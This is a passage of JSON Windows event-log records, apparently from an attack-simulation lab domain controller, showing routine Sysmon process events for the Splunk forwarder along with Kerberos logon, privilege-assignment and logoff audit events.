AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.522\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-402C-5F2D-0000-0010668D0400}\r\nTargetProcessId: 4488\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.522","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-402C-5F2D-0000-0010668D0400}","TargetProcessId":"4488","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:08","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2722,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:08.663\r\nSourceProcessGUID: {90617006-402C-5F2D-0000-0010668D0400}\r\nSourceProcessId: 4488\r\nSourceThreadId: 4568\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nTargetProcessId: 2820\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:08.663","SourceProcessGUID":"{90617006-402C-5F2D-0000-0010668D0400}","SourceProcessId":"4488","SourceThreadId":"4568","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","TargetProcessId":"2820","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:51:09","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221768,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x48F87\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x48f87","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:51:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221769,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x48F87\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51369\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x48f87","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51369","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:51:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221770,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x48FCE\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x48fce","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:51:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221771,"ProcessID":860,"ThreadID":2064,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x48FCE\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51370\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x48fce","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51370","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:51:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221772,"ProcessID":860,"ThreadID":100,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x48FCE\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x48fce","LogonType":"3","EventReceivedTime":"2020-08-07 11:51:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221773,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x490DD\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x490dd","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:51:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:09","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221774,"ProcessID":860,"ThreadID":2280,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x490DD\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t::1\r\n\tSource Port:\t\t51371\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x490dd","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"::1","IpPort":"51371","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:51:10","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":2723,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.166\r\nProcessGuid: {90617006-402E-5F2D-0000-001086910400}\r\nProcessId: 4640\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nParentProcessId: 2820\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.166","ProcessGuid":"{90617006-402E-5F2D-0000-001086910400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:51:11","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:51:10","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2724,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:51:10.164\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-402E-5F2D-0000-001086910400}\r\nTargetProcessId: 4640\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:51:10.164","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-402E-5F2D-0000-001086910400}","TargetProcessId":"4640","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program 